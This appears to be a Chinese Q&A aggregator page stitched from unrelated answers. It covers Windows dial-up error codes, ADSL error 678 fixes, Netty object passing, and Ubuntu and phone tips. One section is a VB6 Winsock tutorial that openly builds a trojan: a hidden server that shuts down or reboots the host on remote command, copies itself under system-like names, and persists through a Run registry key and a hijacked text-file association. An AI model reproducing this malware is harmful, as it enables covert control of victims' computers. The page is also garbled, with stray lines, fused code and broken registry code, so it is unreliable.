這些是網路連接錯誤代碼及其說明:
802 不識別提供的卡。請檢查是否正確插入卡,並且是否插緊。
801 該鏈接已配置為驗證訪問伺服器的身份,Windows 無法驗證伺服器發送的數字證書。
800 無法建立 VPN 連接。無法連接 VPN 伺服器,或者該連接的安全參數配置不正確。
799 由於網路上存在 IP 地址沖突,因此無法啟用 Internet 連接共享
798 找不到可與可擴展身份驗證協議一起使用的證書。
797 無法建立到遠程計算機的連接,因為找不到數據機或者數據機忙。
796 該用戶的服務類型 RADIUS 屬性既不是幀也不是回撥幀。
795 該用戶的隧道類型 RADIUS 屬性不正確。
794 該用戶的幀協議 RADIUS 屬性不是 PPP。
792 L2TP 連接嘗試失敗,因為安全協商超時。
791 L2TP 連接嘗試失敗,因為沒有找到該連接的安全策略。
790 L2TP 連接嘗試失敗,因為遠程計算機上的證書驗證失敗。
789 L2TP 連接嘗試失敗,因為安全層在與遠程計算機進行初始協商時遇到處理錯誤。
788 L2TP 連接嘗試失敗,因為安全層無法與遠程計算機協商兼容參數。
787 L2TP 連接嘗試失敗,因為安全層無法驗證遠程計算機。
786 L2TP 連接嘗試失敗,因為進行安全驗證時計算機上沒有有效的計算機證書。
785 登錄時不能用此連接撥號,因為它沒有配置為使用智能卡..
784 登錄時不能用此連接撥號,因為它被配置為使用一個與智能卡上的名稱;;
783 不能啟用 Internet 連接共享(ICS)。選擇為專用網路的 LAN..
782 網路地址轉換 (NAT) 當前安裝為路由協議..
781 由於找不到有效的證書,從而導致加密嘗試失敗。
780 所嘗試使用的功能對此連接無效。
779 如果用這個連接撥出,您必須使用智能卡。
778 不能驗證伺服器的身份。
777 由於遠程計算機上的數據機(或其他連接設備)出現故障,連接嘗試失敗。
776 由於目標已經調用「請勿打擾」功能,因此該呼叫無法連接。
775 呼叫被遠程計算機阻塞。
774 臨時故障導致連接嘗試失敗。再次嘗試連接。
773 由於目標號碼已更改,從而導致連接嘗試失敗。
772 遠程計算機的網路硬體與請求的呼叫類型不兼容。
771 由於網路忙,因此連接嘗試失敗。
770 遠程計算機拒絕連接嘗試。
769 指定的目的地是不可訪問的。
768 由於加密數據失敗,導致連接嘗試失敗。
767 不能啟用 Internet 連接共享 (ICS)。專用網路上選擇的 LAN ..
766 找不到證書。使用通過 IPSec 的 L2TP 協議要求安裝一個機器證書...
765 不能啟用 Internet 連接共享。LAN 連接已經配置..
764 未安裝智能卡讀取器。
763 不能啟用 Internet 連接共享。除了共享的連接之外,還有兩個或多個區域網連接。
761 對該連接啟用 Internet 連接共享時發生錯誤。
760 啟用路由功能時發生錯誤。
758 該連接上已經啟用 Internet 連接共享。
757 遠程訪問服務不能自動啟動。事件日誌中提供了其他信息。
756 已經撥打該連接。
755 由於該項已經指定自定義的撥號程序,因此系統不能執行自動撥號。
754 系統無法找到多路鏈接綁定。
753 由於連接是由多協議路由器創建的,因此該連接無法斷開。
752 處理腳本時遇到語法錯誤。
751 回撥號碼包含無效的字元。只允許有下列字元:0 到..
743 遠程伺服器要求數據加密。
742 遠程計算機不支持所需的數據加密類型。
741 本地計算機不支持所需的數據加密類型。
740 檢測到無效撥號規則。
739 遠程伺服器所需的身份驗證協議不能使用存儲的密碼。重撥,明確地輸入密碼。
738 伺服器沒有指派地址。
737 檢測到環回。
736 遠程計算機終止了控制協議。
735 請求的地址被伺服器拒絕。
734 PPP 鏈接控制協議被終止。
733 不能完成到遠程計算機的連接。您可能需要調整此計算機上的協議。
732 您的計算機和遠程計算機的 PPP 控制協議無法一致。
731 未配置協議。
729 除非安裝 IP 協議,否則不能使用 SLIP。
728 系統找不到 IP 適配器。
726 IPX 協議不能用於在多個數據機(或其他連接設備)上同時向外撥號。
723 電話號碼(包含前綴和後綴)太長。
722 從遠程計算機接收到無效的數據。該數據被忽略。
721 遠程計算機沒反應。
720 無法建立與遠程計算機的連接。您可能需要更改此連接的網路設置。
719 連接被遠程計算機終止。
718 因為遠程計算機不能及時響應,此連接已被終止。
717 在遠程訪問服務 IP 地址的靜態池中沒有可用的 IP 地址。
716 遠程訪問服務 IP 配置不可用。
715 由於電話線質量差,所以發生過多錯誤。
714 沒有 ISDN 信道可用於撥號。
713 沒有活動的 ISDN 線路可用。
712 雙路埠正在初始化。等幾秒鍾再重撥。
711 在此計算機上的配置錯誤不能進行此連接。
710 當與數據機通訊時檢測到序列溢出錯誤。
709 更改域上的密碼時發生錯誤。密碼可能太短或者可能與以前使用的密碼匹配。
708 帳戶已經過期。
707 出現與 X.25 協議有關的錯誤。
705 身份驗證狀態無效。
704 回撥號碼無效。
703 連接需要用戶提供信息,但應用程序不允許用戶交互。
701 數據機使用了 COM 驅動程序不支持的連接速度。
700 設備 .INF 文件中的擴展命令太長。
699 數據機的響應導致緩沖區溢出。
697 響應循環未完成。
696 已啟動狀態機器。
695 未啟動狀態機器。
692 數據機(或其他連接設備)發生硬體故障。
681 數據機(或其他連接設備)報告了一個常規錯誤。
679 系統無法檢測載波。
678 遠程計算機沒響應。
677 是某人而不是數據機(或其他連接設備)應答。
676 電話線忙。
675 系統不能從媒體 .INI 文件中讀取最大的載波連接速度。
674 系統不能從媒體 .INI 文件中讀取最大的連接速率 (bps)。
673 系統不能從媒體 .INI 文件中讀取用法。
672 系統不能從媒體 .INI 文件中讀取設備名稱。
671 系統不能從媒體 .INI 文件中讀取設備類型。
670 系統不能從媒體 .INI 文件中讀取部分名稱。
669 媒體 .INI 文件中的用法參數無效。
668 連接被終止。
667 系統不能讀取媒體 .INI 文件。
666 數據機(或其他連接設備)不起作用。
665 數據機(或其他連接設備)配置不正確。
664 系統內存不足。
663 媒體 .INI 文件引用了未知的設備類型。
662 試圖設置設備 .INF 文件部分沒有列出的宏。
661 設備 .INF 文件缺少命令。
660 設備 .INF 文件沒有包含對該命令的響應。
659 媒體 .INI 文件引用了未知的設備名。
658 在設備 .INF 或媒體 .INI 文件中的設備名太長。
657 無法打開設備 .INF 文件。
656 在設備 .INF 文件部分中的 宏包含未定義的宏。
655 在設備 .INF 文件部分中未找到 宏。
654 設備 .INF 文件部分中的命令或響應引用了未定義的宏。
653 在設備 .INF 文件中找不到數據機(或其他連接設備)所需的宏。
652 來自數據機(或其他連接設備)的無法識別的響應。
651 數據機(或其他連接設備)報告了一個錯誤。
650 遠程訪問伺服器沒有響應。
649 帳戶沒有撥入的許可權。
648 該帳戶的密碼已過期。
647 此帳戶被禁用。
646 此時間不允許該帳戶登錄。
645 發生內部身份驗證錯誤。
644 您將無法接收彈出的網路消息。
643 伺服器上的網路適配器出現故障。
642 計算機的 NetBIOS 名稱之一已經在遠程網路上注冊。
641 伺服器不能分配支持該客戶端所需的 NetBIOS 資源。
640 發生與 NetBIOS 有關的錯誤。
639 非同步網路不可用。
638 請求超時。
637 檢測到不能轉換的字元串。
636 連接到埠的設備不是所期望的設備。
635 出現未知錯誤。
634 您的計算機無法在遠程網路上注冊。
633 數據機(或其他連接設備)早已在使用,或沒有正確配置。
632 檢測到不正確的結構大小。
631 數據機(或其他連接設備)已由用戶斷開。
630 數據機(或其他連接設備)由於硬體故障已斷開。
629 連接被遠程計算機關閉。
628 在連接完成前,連接被遠程計算機終止。
627 無法找到關鍵字。
626 無法載入字元串。
625 系統在電話簿文件中找到無效信息。
624 系統無法更新電話簿文件。
623 系統無法為這個連接找到電話簿項。
622 系統無法載入電話簿文件。
621 系統無法打開電話簿文件。
錯誤代碼 00000020,參數1 00000000,參數2 0000fff6,參數3 00000000,參數4 00000001
620 無法確定端點。
619 不能建立到遠程計算機的連接,因此用於此連接的埠已關閉。
618 指定的埠沒有打開。
617 數據機(或其他連接設備)已斷開。
616 非同步請求處於掛起狀態。
615 找不到指定的埠。
614 緩沖區不足。
613 指定了一個無效的壓縮。
612 指定了一個沒有分配的路由。
611 指定了一個無法使用的路由。
610 指定了一個無效的緩沖區。
609 指定了一個不存在的設備類型。
608 指定了一個不存在的設備。
607 檢測到無效事件。
606 指定的埠沒有連接。
605 無法設置埠信息。
QQ登錄錯誤:非常抱歉,系統出現了一個錯誤,請您稍後再嘗試。
604 指定了錯誤的信息。
603 呼叫方緩沖區太小。
602 指定的埠已經打開。
601 檢測到無效埠句柄。
600 操作處於掛起狀態。
628:在連接完成前,連接被遠程計算機終止
B. 寬頻連接的錯誤代碼怎麼處理
寬頻用戶登錄時顯示錯誤代碼678通常是線路問題導致,可按以下操作嘗試恢復:重啟光貓,並把光纖接頭重新插緊後再上網測試;判斷光貓指示燈狀態,如WAN指示燈在埠與貓連接正常時是常亮或閃爍;去掉路由器,創建寬頻連接,重新配置路由器;如果上述方式仍不能解決,可以撥打當地客服進行寬頻報障。了解更多服務優惠點擊下方的「官方網址」客服218為你解答。
C. 怎麼為JAVA NIO或Netty程序設置網路通信代理
服務端
// 設置一個處理客戶端消息和各種消息事件的類(Handler)bootstrap.setPipelineFactory(newChannelPipelineFactory() { @Override publicChannelPipeline getPipeline()throwsException { returnChannels.pipeline( newObjectDecoder(ClassResolvers.cacheDisabled(this .getClass().getClassLoader())), newObjectServerHandler()); }});
客戶端
// 設置一個處理服務端消息和各種消息事件的類(Handler)
bootstrap.setPipelineFactory(newChannelPipelineFactory() { @Override publicChannelPipeline getPipeline()throwsException { returnChannels.pipeline(newObjectEncoder(), newObjectClientHandler()); }});
要傳遞對象,自然要有一個被傳遞模型,一個簡單的Pojo,當然,實現序列化介面是必須的。
/** * @author lihzh * @alia OneCoder * @bloghttp://www.coderli.com */public class Command implementsSerializable { = 7590999461767050471L; privateString actionName; publicString getActionName() { returnactionName; } publicvoidsetActionName(String actionName) { this.actionName = actionName; }}
服務端和客戶端里,我們自定義的Handler實現如下:
ObjectServerHandler .java
/** * 對象傳遞服務端代碼 * * @author lihzh * @alia OneCoder * @bloghttp://www.coderli.com */public class ObjectServerHandler extendsSimpleChannelHandler { /** * 當接受到消息的時候觸發 */ @Override publicvoidmessageReceived(ChannelHandlerContext ctx, MessageEvent e) throwsException { Command command = (Command) e.getMessage(); // 列印看看是不是我們剛才傳過來的那個 System.out.println(command.getActionName()); }}
ObjectClientHandler .java
/** * 對象傳遞,客戶端代碼 * * @author lihzh * @alia OneCoder * @bloghttp://www.coderli.com */public class ObjectClientHandler extendsSimpleChannelHandler { /** * 當綁定到服務端的時候觸發,給服務端發消息。 * * @author lihzh * @alia OneCoder */ @Override publicvoidchannelConnected(ChannelHandlerContext ctx, ChannelStateEvent e) { // 向服務端發送Object信息 sendObject(e.getChannel()); } /** * 發送Object * * @param channel * @author lihzh * @alia OneCoder */ privatevoidsendObject(Channel channel) { Command command =newCommand(); command.setActionName("Hello action."); channel.write(command); } }
啟動後,服務端正常列印結果:Hello action.
簡單梳理一下思路:
通過Netty傳遞,都需要基於流,以ChannelBuffer的形式傳遞。所以,Object -> ChannelBuffer.
Netty提供了轉換工具,需要我們配置到Handler。
樣例從客戶端 -> 服務端,單向發消息,所以在客戶端配置了編碼,服務端解碼。如果雙向收發,則需要全部配置Encoder和Decoder。
這里需要注意,注冊到Server的Handler是有順序的,如果你顛倒一下注冊順序:
bootstrap.setPipelineFactory(newChannelPipelineFactory() {
@Override publicChannelPipeline getPipeline()throwsException { returnChannels.pipeline(newObjectServerHandler(), newObjectDecoder(ClassResolvers.cacheDisabled(this .getClass().getClassLoader())) ); }});
結果就是,會先進入我們自己的業務,再進行解碼。這自然是不行的,會強轉失敗。至此,你應該會用Netty傳遞對象了吧。
D. 網路通訊錯誤是什麼怎麼解決
678是指寬頻的故障代碼,在寬頻ADSL撥號上網中,用戶經常會碰到「錯誤678」的故障提示:一直上網正常,但某一天突然上不了了,撥號連接時出現「錯誤678」等提示,一般用戶對這種故障是束手無策,有的還懷疑是不是密碼被盜了?總的來說,對這種故障的具體原因不太好判斷,但經過分析,絕大部分情況下還是能夠順利解決的。下面就對這種故障發生的原因和解決辦法闡述如下:一、「錯誤678」是什麼意思?寬頻adsl撥號上網使用pppoe協議連接,通過電話線傳輸數據,使用adsl專用modem實現數據的調制解調,錯誤提示678的含義是:遠程計算機無響應,意思是從計算機發出指令到網卡向外發送數據,包括電話線的傳輸,局端(電信局機房端)端子板的埠處理到返回數據到計算機的過程中數據傳輸出問題都會提示678錯誤。簡單地說就是網路不通了。二、用戶在遇到「錯誤678」的常見解決思路和步驟:1、最近你的計算機有沒有動過?特別是ADSLModem連線、線路有沒有動過?請先檢查「貓」上信號燈是不是會閃(貓不同,指示燈也不同,主要有dsl、adsl,line,link,@等都是寬頻信號指示燈),如果要閃,檢查線路有沒有接對(主要是分離器上,有三個口,每個口對應一根線,接法是匯流排就是進線接line口,電話機接phone口,另外modem或adsl接寬頻貓,你也可以直接將電話進線接在貓上試,這樣可以排除分離器壞),如果接對還是閃,檢查電話線路是不是有接頭,線路氧化接觸不好也會出現信號定不住(電話線進貓的水晶頭或線有問題,也會造成線路不通。)2、確認adslmodem撥號正常,因為網卡自動獲取的IP沒有清除,所以再次撥號的時候網卡無法獲取新的IP地址會提示678,操作方法是:關閉adslmodem,進入控制面板的網路連接右擊本地連接選擇禁用,5秒鍾後右擊本地連接選擇啟用,然後打開adslmodem撥號即可;3、如果第一步無效,則在關閉adslmodem的情況下,仍然禁用本地連接(網卡),重啟計算機,然後啟用本地連接(網卡),再打開adslmodem即可解決;4、如果上述步驟都無法解決,查看網卡燈是否亮,如果網卡燈不亮,檢查網卡和網線。5、如果網卡燈正常1,2步無法解決則卸載網卡驅動,重裝網卡驅動。6、如果上述操作無效聯系電信部門確認埠。筆者在家中上網也曾遇到過「678」錯誤,剛開始什麼問題也檢查不出來,後來發現是電信局那邊的埠松動了,導致線路不通。7、還有一種情況,筆者也曾碰到過,如果你的家中有兩台以上的電腦,用來接電腦的HUB埠損壞的話,也會出現「678錯誤」,這時更換一個好的埠就可以了。8、有些經過電信檢測後網路情況正常,也出現了錯誤「678」的提示,這時要考慮使用過程中各種應用軟體的沖突,同樣也會引發網路不通。如「雅虎助手」、殺毒軟體或者防火牆等出現異常引發錯誤「678」提示的現象。所以,在發現錯誤「678」的提示時,可以先嘗試暫時卸載「雅虎助手」、退出殺毒軟體或者暫時關閉防火牆,重新進行連接,試試看是否能夠解決問題。9、萬不得已時,可以用重新啟動「貓」和計算機的辦法來解決,看看能不能奏效。10、實在沒有辦法的話就撥打電信服務熱線10000人工服務按0鍵.來說明情況,尋求解決辦法.11、「貓」的質量問題也可能導致678錯誤。由於貓的質量不好,使用一段時間後「自然」(非人為原因)損壞,輸入帳號和密碼之後再點連接,就會提示678錯誤。可以再買一個「貓」,或者把原來的「貓」送回經銷處,返廠維修。了解更多服務優惠點擊下方的「官方網址」客服218為你解答。
E. VB中使用winsock控制項要實現網路通信怎麼編程服務端和客戶端都必須各編個程序嗎
首先,新建一工程,名為Server,新建一個窗體,Name為frmServer,在窗體中加入一個winsock控制項,Name設為sckServer,協議設為默認的TCP/IP協議。
接下來我們回來frmServer窗體模塊中,添加如下代碼:
Private Sub form_Load()
With Me
.sckServer.LocalPort = 4000『本地埠
.sckServer.Listen 『開始監聽
End With
End Sub
『接受客戶端的連接請求。
Private Sub sckServer_ConnectionRequest(ByVal requestID As Long)
With Me
If .sckServer.State <>sckClosed Then .sckServer.Close
.sckServer.Accept (requestID)
End With
End Sub
下面我們來建立客戶端程序:新建一個工程,名為Client,把窗體名為frmClient,在上面加入一個winsock控制項,名為sckClient,協議為TCP/IP協議。再加一個按鈕cmdConnect在窗體模塊中加入代碼:
Private Sub form_Load()
With Me
.sckClient.RemoteHost = "127.0.0.1"『設置遠程IP,本例設為本機。
.sckClient.RemotePort = 4000 『遠程埠,就為server中的設置一樣.
End With
End Sub
Private sub cmdConnect_Click()
SckClient.Connect
End sub
至此,單擊Connect按鈕我們的兩個工程已經可以進行通信了,但看不見,你可以在Client中的sckClient_Connect事件中加入代碼:debug.print 「Connetion successful!」來查看。
這僅是第一步,一點工作也做不了,下面我們來為它們添加功能。為了簡單,我們打算實現一點小小的功能―――關機,重啟,注銷。好,開始吧!
在Server工程中新建一個模塊,Name為modApi,這個模快為一些API函數,添加如下API函數:
Public Declare Function ExitWindowsEx Lib "user32" Alias "ExitWindowsEx" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Public Const EWX_LOGOFF = 0
Public Const EWX_REBOOT = 2
Public Const EWX_SHUTDOWN = 1
Public Declare Function ClipCursor Lib "user32" Alias "ClipCursor" (lpRect As Any) As Long
Public Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
註:在兩個socket中編程中,進行通信的重要事件是DataArrival事件,用於接收遠程數據。
下面在Client工程的frmClient窗體中放入三個按鈕,分別為cmdExit,cmdLogoff,cmdReboot。它們用於對遠程的關機,注銷,重啟操作。分別添加如下代碼:
Private Sub cmdExit_Click()
Me.sckClient.SendData "Exit"
End Sub
Private Sub cmdLogoff_Click()
Me.sckClient.SendData "Logoff"
End Sub
Private Sub cmdReboot_Click()
Me.sckClient.SendData "Reboot"
End Sub
全都是對服務端發出請求。下面轉到Server工程中:在frmServer中添加sckServer的DataArrial事件,接收客戶端的請求。
Private Sub sckServer_DataArrival(ByVal bytesTotal As Long)
Dim strData As String
With Me
'' 接收客戶請求的信息
.sckServer.GetData strData
Select Case strData
Case "Exit"
''關機
Call ExitWindowsEx(EWX_SHUTDOWN, 0)
Case "Reboot"
''重啟
Call ExitWindowsEx(EWX_REBOOT, 0)
Case "Logoff"
''注銷
Call ExitWindowsEx(EWX_LOGOFF, 0)
End Select
End With
End Sub
好了,到此我們已經實現功能了,但還不行,我們要它在背後運行。這簡單,在frmServer中的form_Load事件中加入一句:me.hide。好這下看不見了,但大家知道木馬是一開機就自動運行了,這又是為什麼,怎麼實現的?把它加入到注冊表的啟動組中?對,不錯,跟我來吧!
回到Server工程中的modApi中加入如下API函數:
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegSetvalueEx Lib "advapi32.dll" Alias "RegSetvalueExA" (ByVal hKey As Long, ByVal lpvalueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Const REG_BINARY = 3
Public Const REG_SZ = 1
Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const HKEY_CLASSES_ROOT = &H80000000
寫到注冊表啟動組中的過程。
Public Sub StartupGroup()
Dim sKey As String
Dim result As Long
Dim hKeyID As Long
Dim sKeyVal As String
sKey = "Systrsy" ''啟動組中的鍵,找一個與系統文件相近的。
sKeyVal = "C:\windows\system\systrsy.exe" ''木馬文件的路徑,可以用GetSystemDirectory來取得系統路徑。
result = RegOpenKey(HKEY_LOCAL_MACHINE, _
"Software\Microsoft\Windows\CurrentVersion\Run", hKeyID)
If result = 0 Then
result = RegSetvalueEx(hKeyID, sKey, 0&, REG_SZ, sKeyVal, _
Len(sKey) + 1)
End If
End Sub
好就這樣簡單地完成了。但是,想過沒有,如果不是很菜的鳥,到注冊表中見一刪,我們苦苦的心血不就白白地浪費了嗎?不行,還得想讓他發現了刪也刪不掉。請看下面的代碼:
Public Sub WriteToTxt()
Dim result As Long
Dim hKeyID As Long
Dim skey As String
Dim skeyVal As String
skey = "txtfile\shell\open\command"
skeyVal = "C:\windows\system\txtView.exe"
result = RegOpenKey(HKEY_CLASSES_ROOT, skeyVal, hKeyID)
If result = 0 Then
result = RegSetvalueEx(hKeyID, skey, 0&, REG_SZ, _
skeyVal, Len(skeyVal) + 1)
End If
End Sub
肯定不少朋友一看就知道了,原是與txt文件進行關聯,一點也不錯,但C:\windows\system\txtView.exe是哪裡來的,我們的木馬是C:\windows\system\systrsy.exe呀。這可是我們木馬的分身了。
好,回到Server工程的frmServer窗體的form_Load中,加入如下代碼:
Dim sCurrentPath As String, sSystemDir As String
sCurrentPath = App.Path & "\" & App.EXEName & ".exe"
sSystemDir = 「C:\windows\system」
On Error Resume Next
『復制文件成系統目錄下的Systrsy.exe
FileCopy sCurrentPath, sSystemDir & "\Systrsy.exe"
On Error Resume Next
復制文件成系統目錄下的txtView.exe
FileCopy sCurrentPath, sSystemDir & "\txtView.exe"
調用
Call startupGroup
Call WriteToTxt
''判斷程序是否下在運行
If App.PrevInstance Then
『如果已經運行就退出。
End
End If
F. 安卓怎麼把webrtcdemo區域網的通信的代碼修改為廣域網代碼
這個歸根於網路問題,不是源碼問題,源碼的原理是完全一樣,壓根不用任何修改,之所以廣域網你看不到伺服器或者客戶端那是因為廣域網的子網面層堵塞,當然需要做埠上的映射公網的設置.
G. 如何在linux/ubuntu下編寫c++網路通信代碼
作為新手,第一次在ubuntu系統下,使用c++編程時,你是不是很迷茫,無從下手啊?你會糾結已經寫好的hello.cpp文件要怎樣編譯?打開那個命令行是怎麼回事?是不是「終端」?一系列的疑問會冒出來。
那麼,今天簡單的總結了一下。希望能給那些初次接觸ubuntu下C++編程的童鞋們一些幫助。
1.首先ubuntu系統自帶了C++編譯器即g++,查看下你的系統中有沒有安裝。若沒有安裝,那麼在命令終端(ctrl+T)下輸入:sudo apt-getinstall gcc,就可以安裝gcc編譯器了。
2.用vim或者emacs寫程序,它們的中文翻譯:一個是神的編輯器,一個是編輯器之神。當然意思都是說這兩個編輯器很厲害,各有所長,就看自己的喜好了,我一般用的是vim編輯器。
3 在終端中輸入VIM就能打開vim編輯器。Vim操作指南,編寫好了一個文件後保存為123.cpp。
4 (注意:一定要保證你的終端是在你保存的文件的目錄下,不然每次你輸入都要寫上全部目錄路徑。)g++ -0 123 123.cpp意思是將123.cpp這個源文件使用g++編譯器編譯,編譯後的輸出是123可執行文件。
5 在終端下輸入123,就能顯示你代碼的執行結果了。
要是你嫌棄上面的步驟繁瑣,可以直接使用下面這個方法。打開終端,把hello.cpp放到home下,這樣你在終端即在home文件夾下,可以直接編譯命令:g++ ./hello.cpp。然後在home下就會有一個a.out,這個就是編譯出來的文件。接著運行它:./a.out,就可以在終端中看到結果了。
H. 富士變頻器VP系列的通信代碼怎麼設置
VP RS-485的通訊要點:
1.採用MODBUS-RTU通用協議
2.站號
3.終端電阻(SW3)
4.波特率、數據長度、校驗、停止位等通訊參數與通訊對象的參數相一致
I. 如何設置魅族Flyme5系統中網路通訊
Flyme5 系統更新優化了更棒的網路電話功能。
打開手機撥號圖標,點擊界面右上角的菜單按鈕,選擇,設置-->網路電話,打開 網路電話 開關。
然後輸入本機號碼,點擊獲取驗證碼後,將收到的驗證碼填入下方,點擊 激活 就可以成功開啟網路電話功能。
當您和對方Flyme 賬戶都處於登錄狀態時,在聯系人列表右側對顯示「在線」標識,此時就可以給在線的聯系人撥打網路電話。
Flyme5 系統優化了網路信息功能,在 信息 界面點擊右上角的菜單按鈕後點擊,設置-->網路信息,開啟 網路信息 開關,並輸入需要使用網路信息功能的手機號碼 (本機號碼),點擊獲得驗證碼,填入手機收到的驗證碼後點擊「激活」。
當您和對方 Flyme 賬戶都處於登錄狀態時,在聯系人列表右側對顯示「在線」標識,此時就可以給在線的聯系人發送網路信息。